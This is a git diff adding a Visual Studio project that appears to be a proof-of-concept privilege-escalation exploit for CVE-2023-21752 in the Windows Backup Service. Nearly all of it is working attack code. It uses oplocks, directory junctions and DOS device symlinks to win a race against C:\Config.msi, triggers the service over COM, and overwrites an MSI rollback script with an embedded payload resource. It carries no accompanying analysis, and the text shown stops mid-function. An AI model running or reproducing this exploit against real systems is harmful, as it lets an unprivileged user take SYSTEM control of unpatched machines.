0000000000000000000000000000000000000000..10ad5b169c346ca486aed9df22023ce01a45f0a6 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/FileOplock.cpp @@ -0,0 +1,201 @@ + +#include "FileOpLock.h" +#include + + + +FileOpLock::FileOpLock(UserCallback cb) : + g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) +{ + g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; + g_inputBuffer.StructureLength = sizeof(g_inputBuffer); + g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; + g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; + g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; + g_outputBuffer.StructureLength = sizeof(g_outputBuffer); +} + + +FileOpLock::~FileOpLock() +{ + if (g_wait) + { + SetThreadpoolWait(g_wait, nullptr, nullptr); + CloseThreadpoolWait(g_wait); + g_wait = nullptr; + } + + if (g_o.hEvent) + { + CloseHandle(g_o.hEvent); + g_o.hEvent = nullptr; + } + + if (g_hFile != INVALID_HANDLE_VALUE) + { + CloseHandle(g_hFile); + g_hFile = INVALID_HANDLE_VALUE; + } +} +bool FileOpLock::BeginLock(const std::wstring& filename) +{ + g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); + g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); + + + + g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, + 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0); + if (g_hFile == INVALID_HANDLE_VALUE) { + + return false; + } + + g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); + if (g_wait == nullptr) + { + + return false; + } + + SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); + + DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, + &g_inputBuffer, sizeof(g_inputBuffer), + &g_outputBuffer, sizeof(g_outputBuffer), + nullptr, &g_o); + if (GetLastError() != ERROR_IO_PENDING) { + + return false; + } + + return true; +} +bool FileOpLock::BeginLock(HANDLE hfile) +{ + g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); + g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); + + + + g_hFile = hfile; + if (g_hFile == INVALID_HANDLE_VALUE) { + + return false; + } + + g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); + if (g_wait == nullptr) + { + + return false; + } + + SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); + DWORD bytesReturned; + + DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, + &g_inputBuffer, sizeof(g_inputBuffer), + &g_outputBuffer, sizeof(g_outputBuffer), + nullptr, &g_o); + /*DeviceIoControl(g_hFile, + FSCTL_REQUEST_OPLOCK_LEVEL_1, + NULL, 0, + NULL, 0, + &bytesReturned, + &g_o);*/ + if (GetLastError() != ERROR_IO_PENDING) { + + return false; + } + + return true; +} +FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb) +{ + FileOpLock* ret = new FileOpLock(cb); + + if (ret->BeginLock(name)) + { + return ret; + } + else + { + delete ret; + return nullptr; + } +} +FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb) +{ + FileOpLock* ret = new FileOpLock(cb); + + if (ret->BeginLock(hfile)) + { + return ret; + } + else + { + delete ret; + return nullptr; + } +} +void FileOpLock::WaitForLock(UINT Timeout) +{ + WaitForSingleObject(g_hLockCompleted, Timeout); +} + +void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, + PVOID Parameter, PTP_WAIT Wait, + TP_WAIT_RESULT WaitResult) +{ + UNREFERENCED_PARAMETER(Instance); + UNREFERENCED_PARAMETER(Wait); + UNREFERENCED_PARAMETER(WaitResult); + + FileOpLock* lock = reinterpret_cast(Parameter); + + lock->DoWaitCallback(); +} +void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance, + PVOID Parameter, PTP_WAIT Wait, + TP_WAIT_RESULT WaitResult) +{ + UNREFERENCED_PARAMETER(Instance); + UNREFERENCED_PARAMETER(Wait); + UNREFERENCED_PARAMETER(WaitResult); + + FileOpLock* lock = reinterpret_cast(Parameter); + + lock->DoWaitCallbackt(); +} +void FileOpLock::DoWaitCallbackt() +{ + DWORD dwBytes; + if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { + + } + + if (_cb) + { + _cb(); + } + g_hFile = INVALID_HANDLE_VALUE; + SetEvent(g_hLockCompleted); +} +void FileOpLock::DoWaitCallback() +{ + DWORD dwBytes; + if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { + + } + + if (_cb) + { + _cb(); + } + + + CloseHandle(g_hFile); + g_hFile = INVALID_HANDLE_VALUE; + SetEvent(g_hLockCompleted); +} diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/FileOplock.h b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/FileOplock.h new file mode 100644 index 0000000000000000000000000000000000000000..c974ea843a3a665a500c7b891c6152af5bae8c5a --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/FileOplock.h @@ -0,0 +1,40 @@ +#pragma once + +#include +#include + +class FileOpLock +{ +public: + typedef void(*UserCallback)(); + static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb); + static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb); + void WaitForLock(UINT Timeout); + + ~FileOpLock(); +private: + + HANDLE g_hFile; + OVERLAPPED g_o; + REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; + REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; + HANDLE g_hLockCompleted; + PTP_WAIT g_wait; + UserCallback _cb; + + FileOpLock(UserCallback cb); + + static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, + PVOID Parameter, PTP_WAIT Wait, + TP_WAIT_RESULT WaitResult); + static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance, + PVOID Parameter, PTP_WAIT Wait, + TP_WAIT_RESULT WaitResult); + void DoWaitCallback(); + void DoWaitCallbackt(); + bool BeginLock(HANDLE hfile); + bool BeginLock(const std::wstring& name); + +}; + + diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/Msi_Rollback.msi b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/Msi_Rollback.msi new file mode 100644 index 0000000000000000000000000000000000000000..fd33901495164b45a98e740b4e52496b3e668894 Binary files /dev/null and b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/Msi_Rollback.msi differ diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.sln b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.sln new file mode 100644 index 0000000000000000000000000000000000000000..455a36d9089c375fa7b699739a4199c796791eeb --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.31919.166 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SDRsvcEop", "SDRsvcEop.vcxproj", "{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.ActiveCfg = Debug|x64 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.Build.0 = Debug|x64 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.ActiveCfg = Debug|Win32 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.Build.0 = Debug|Win32 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.ActiveCfg = Release|x64 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.Build.0 = Release|x64 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.ActiveCfg = Release|Win32 + {E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {E7910A37-2126-493B-A1A7-2FD1F8FCFB30} + EndGlobalSection +EndGlobal diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj new file mode 100644 index 0000000000000000000000000000000000000000..3911b742b98711e2fc456975f1dab7754c857afd --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj @@ -0,0 +1,157 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {e87cbf4d-3552-4894-9ed2-b296d4dbf5bb} + SDRsvcEop + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj.filters b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj.filters new file mode 100644 index 0000000000000000000000000000000000000000..f66725ece358a3273f72c70462bcfaa760ce80d5 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + + + Resource Files + + + \ No newline at end of file diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj.user b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj.user new file mode 100644 index 0000000000000000000000000000000000000000..0f14913f3c72094bb7b1e695e153ade04b17d5b0 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/SDRsvcEop.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/cmd.rbs b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/cmd.rbs new file mode 100644 index 0000000000000000000000000000000000000000..a2a4b5a3d371f0c0eaedd6757501c8620a987580 Binary files /dev/null and b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/cmd.rbs differ diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/def.h b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/def.h new file mode 100644 index 0000000000000000000000000000000000000000..f64d70ff9ee9b8e5dd7e60c90f646aa2f840c995 --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/def.h @@ -0,0 +1,142 @@ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "FileOplock.h" +#include "resource.h" + +#pragma warning(disable:4996) +#pragma comment(lib,"Rpcrt4.lib") +#pragma comment(lib, "Msi.lib") +#pragma comment(lib, "Shlwapi.lib") +#pragma comment(lib, "PathCch.lib") + +struct __declspec(uuid("687E55CA-6621-4C41-B9F1-C0EDDC94BB05")) CLSID_SDC; + + +class __declspec(uuid("a9f63151-4ccf-4c63-9b5a-3ba524a33886")) ISdScheduledBackup : public IUnknown { +public: + virtual HRESULT __stdcall Proc3(); + virtual HRESULT __stdcall Proc4(/* Stack Offset: 8 */ void* p0, /* Stack Offset: 16 */ GUID* p1); + virtual HRESULT __stdcall Proc5(/* Stack Offset: 8 */ struct Struct_8* p0); + virtual HRESULT __stdcall Proc6(/* Stack Offset: 8 */ struct Struct_9* p0); + virtual HRESULT __stdcall Proc7(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ struct Struct_10* p1); + virtual HRESULT __stdcall Proc8(/* Stack Offset: 8 */ int64_t p0, /* Stack Offset: 16 */ GUID* p1); + virtual HRESULT __stdcall Proc9(/* Stack Offset: 8 */ int64_t p0, /* Stack Offset: 16 */ GUID* p1); + virtual HRESULT __stdcall Proc10(/* Stack Offset: 8 */ GUID* p0); + virtual HRESULT __stdcall Proc11(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ wchar_t* p1); + virtual HRESULT __stdcall Proc12(/* Stack Offset: 8 */ wchar_t* p0, /* Stack Offset: 16 */ wchar_t* p1, /* Stack Offset: 24 */ wchar_t* p2, /* Stack Offset: 32 */ int64_t p3, /* Stack Offset: 40 */ struct Struct_10* p4, /* Stack Offset: 48 */ int64_t* p5); + virtual HRESULT __stdcall Proc13(/* Stack Offset: 8 */ wchar_t** p0); +}; +typedef struct Struct_10 { + /* Offset: 0 */ wchar_t* Member0; + /* Offset: 8 */ wchar_t* Member8; + /* Offset: 16 */ wchar_t* Member10; + /* Offset: 24 */ wchar_t* Member18; + /* Offset: 32 */ wchar_t* Member20; + /* Offset: 40 */ wchar_t* Member28; + /* Offset: 48 */ wchar_t* Member30; + /* Offset: 56 */ /* ENUM32 */ uint32_t Member38; + /* Offset: 64 */ int64_t Member40; + /* Offset: 72 */ int64_t Member48; + /* Offset: 80 */ int64_t Member50; + /* Offset: 84 */ int64_t Member54; + /* Offset: 88 */ int64_t Member58; + /* Offset: 92 */ int64_t Member5C; + /* Offset: 96 */ int64_t Member60; + /* Offset: 100 */ int64_t Member64; + /* Offset: 104 */ int64_t Member68; + /* Offset: 108 */ int64_t Member6C; + /* Offset: 112 */ int64_t Member70; + /* Offset: 116 */ int64_t Member74; + /* Offset: 120 */ int64_t Member78; + /* Offset: 124 */ int64_t Member7C; + /* Offset: 128 */ int64_t Member80; + /* Offset: 132 */ int64_t Member84; + /* Offset: 136 */ int64_t Member88; +}Struct_10, * PStruct_10; + + +#define FULL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE + +void load(); +BOOL CreateJunction(HANDLE dir, LPCWSTR target); +BOOL DeleteJunction(HANDLE dir); +BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target); +BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target); +void cb(); +void cb1(); +BOOL Trigger(); +VOID Fail(); +DWORD WINAPI install(void*); +VOID GetTmpDir(LPWSTR dir); +BOOL Move(HANDLE); +VOID FindFile(HANDLE hDir); +LPWSTR BuildPath(LPCWSTR path); +HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion); +HANDLE bt; +HANDLE hFile,hDir,hMsiDir,hthread; +HMODULE hm = GetModuleHandle(NULL); +HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs"); +DWORD RbsSize = SizeofResource(hm, res); +void* RbsBuff = LoadResource(hm, res); +WCHAR unc[MAX_PATH * 2] = { 0x0 }; +LPWSTR dir; +wchar_t target[] = L"C:\\Config.msi::$INDEX_ALLOCATION"; +wchar_t object[MAX_PATH] = { 0x0 }; +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; +#define STATUS_MORE_ENTRIES 0x00000105 +#define STATUS_NO_MORE_ENTRIES 0x8000001A +#define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) + +typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); +typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); +typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength); +typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + ULONG FileInformationClass + ); + +_RtlInitUnicodeString pRtlInitUnicodeString; +_NtCreateFile pNtCreateFile; +_NtSetInformationFile pNtSetInformationFile; + diff --git a/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/main.cpp b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/main.cpp new file mode 100644 index 0000000000000000000000000000000000000000..dc0f8a6073e91139784c49bcedbcc257652cab2a --- /dev/null +++ b/cve/Windows Backup Service/2023/CVE-2023-21752/V2-SDRsvcEop/main.cpp @@ -0,0 +1,375 @@ +#include "def.h" + +int wmain(int argc, wchar_t** argv) +{ + + load(); + + hMsiDir = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); + if (hMsiDir == NULL) + { + printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n"); + install(NULL); + hMsiDir = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); + if (hMsiDir != NULL) + { + printf("[+] Successfully removed and recreated C:\\Config.Msi.\n"); + } + else + { + printf("[!] Failed. Cannot remove c:\\Config.msi"); + return 1; + } + } + if (!PathIsDirectoryEmpty(L"C:\\Config.Msi")) + { + printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n"); + return 1; + } + printf("[+] Config.msi directory created!\n"); + dir = (LPWSTR)malloc(MAX_PATH); + ZeroMemory(dir, MAX_PATH); + GetTmpDir(dir); + printf("[*] Directory: %ls\n", dir); + if (!CreateDirectory(dir, NULL)) { + printf("[!] Cannot create %ls directory!\n", dir); + return 1; + } + hDir = CreateFile(dir, GENERIC_WRITE | GENERIC_READ | DELETE, FULL_SHARING, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_DELETE_ON_CLOSE, NULL); + + if (hDir == INVALID_HANDLE_VALUE) { + return 1; + + } + + WCHAR path[MAX_PATH * 2] = { 0x0 }; + GetFinalPathNameByHandle(hDir, path, MAX_PATH * 2, VOLUME_NAME_NONE); + swprintf(unc, L"\\\\127.0.0.1\\c$%ls", path); + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FindFile, hDir, 0, NULL); + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fail, NULL, 0, NULL); + SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); + SetThreadPriorityBoost(GetCurrentThread(), TRUE); + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + FileOpLock* oplock; + oplock = FileOpLock::CreateLock(hMsiDir, cb1); + if (oplock != nullptr) { + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Trigger, NULL, 0, NULL); + oplock->WaitForLock(INFINITE); + delete oplock; + } + do { + hMsiDir = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF); + } while (hMsiDir == NULL); + char buff[4096]; + DWORD retbt = 0; + FILE_NOTIFY_INFORMATION* fn; + WCHAR* extension; + WCHAR* extension2; + do { + ReadDirectoryChangesW(hMsiDir, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, + &retbt, NULL, NULL); + fn = (FILE_NOTIFY_INFORMATION*)buff; + size_t sz = fn->FileNameLength / sizeof(WCHAR); + fn->FileName[sz] = '\0'; + extension = fn->FileName; + PathCchFindExtension(extension, MAX_PATH, &extension2); + } while (wcscmp(extension2, L".rbs") != 0); + SetSecurityInfo(hMsiDir, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL); + while (!Move(hMsiDir)) { + + } + + HANDLE cfg_h = myCreateDirectory(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE); + WCHAR rbsfile[MAX_PATH]; + _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName); + HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { + printf("[+] Rollback file overwritten!\n"); + + } + else + { + printf("[!] Failed to overwrite rbs file!\n"); + } + CloseHandle(rbs); + CloseHandle(cfg_h); + DeleteJunction(hDir); + DelDosDeviceSymLink(object, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION"); +} +BOOL Trigger() { + HRESULT hr = CoInitialize(NULL); + ISdScheduledBackup* sdc; + + + PStruct_10 aaa = (PStruct_10)malloc(sizeof(Struct_10)); + hr = CoCreateInstance(__uuidof(CLSID_SDC), NULL, CLSCTX_LOCAL_SERVER, __uuidof(ISdScheduledBackup), (LPVOID*)&sdc); + if (SUCCEEDED(hr)) { + printf("[*] Path: %ls\n", unc); + hr = sdc->Proc7(unc, aaa); + if (SUCCEEDED(hr)) { + return TRUE; + } + else + { + printf("0x%x\n", hr); + return FALSE; + } + } + else + { + printf("0x%x\n", hr); + return FALSE; + } + + +} + +void load() { + HMODULE ntdll = LoadLibraryW(L"ntdll.dll"); + if (ntdll != NULL) { + pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); + pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); + pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); + + } + if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) { + printf("Cannot load api's %d\n", GetLastError()); + exit(0); + } + +} +void cb() { + printf("[+] Oplock!\n"); + while(!Move(hFile)){} + + CreateJunction(hDir, L"\\RPC Control"); + DosDeviceSymLink(object, BuildPath(target)); + +} +void cb1() { + SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS); + Move(hMsiDir); + hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL); + + HANDLE hd; + do { + hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); + } while (!hd); + do { + CloseHandle(hd); + hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); + } while (hd); + CloseHandle(hd); + do { + hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); + + } while (GetLastError() != -1073741790); + +} +BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { + if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { + printf("[+] Symlink %ls -> %ls created!\n", object, target); + return TRUE; + + } + else + { + printf("error :%d\n", GetLastError()); + return FALSE; + + } +} + +BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { + if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { + printf("[+] Symlink %ls -> %ls deleted!\n", object, target); + return TRUE; + + } + else + { + printf("error :%d\n", GetLastError()); + return FALSE; + + + } +} +BOOL CreateJunction(HANDLE hDir, LPCWSTR target) { + HANDLE hJunction; + DWORD cb; + wchar_t printname[] = L""; + if (hDir == INVALID_HANDLE_VALUE) { + printf("[!] HANDLE invalid!\n"); + return FALSE; + } + SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); + SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); + SIZE_T PathLen = TargetLen + PrintnameLen + 12; + SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); + PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); + Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + Data->ReparseDataLength = PathLen; + Data->Reserved = 0; + Data->MountPointReparseBuffer.SubstituteNameOffset = 0; + Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; + memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); + Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); + Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; + memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); + WCHAR dir[MAX_PATH] = { 0x0 }; + if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) + { + + GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0); + printf("[+] Junction %ls -> %ls created!\n", dir, target); + free(Data); + return TRUE; + + } + else + { + + printf("[!] Error: %d. Exiting\n", GetLastError()); + free(Data); + return FALSE; + } +} +BOOL DeleteJunction(HANDLE handle) { + REPARSE_GUID_DATA_BUFFER buffer = { 0 }; + BOOL ret; + buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + DWORD cb = 0; + IO_STATUS_BLOCK io; + if (handle == INVALID_HANDLE_VALUE) { + printf("[!] HANDLE invalid!\n"); + return FALSE; + } + WCHAR dir[MAX_PATH] = { 0x0 }; + if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) { + GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0); + printf("[+] Junction %ls deleted!\n", 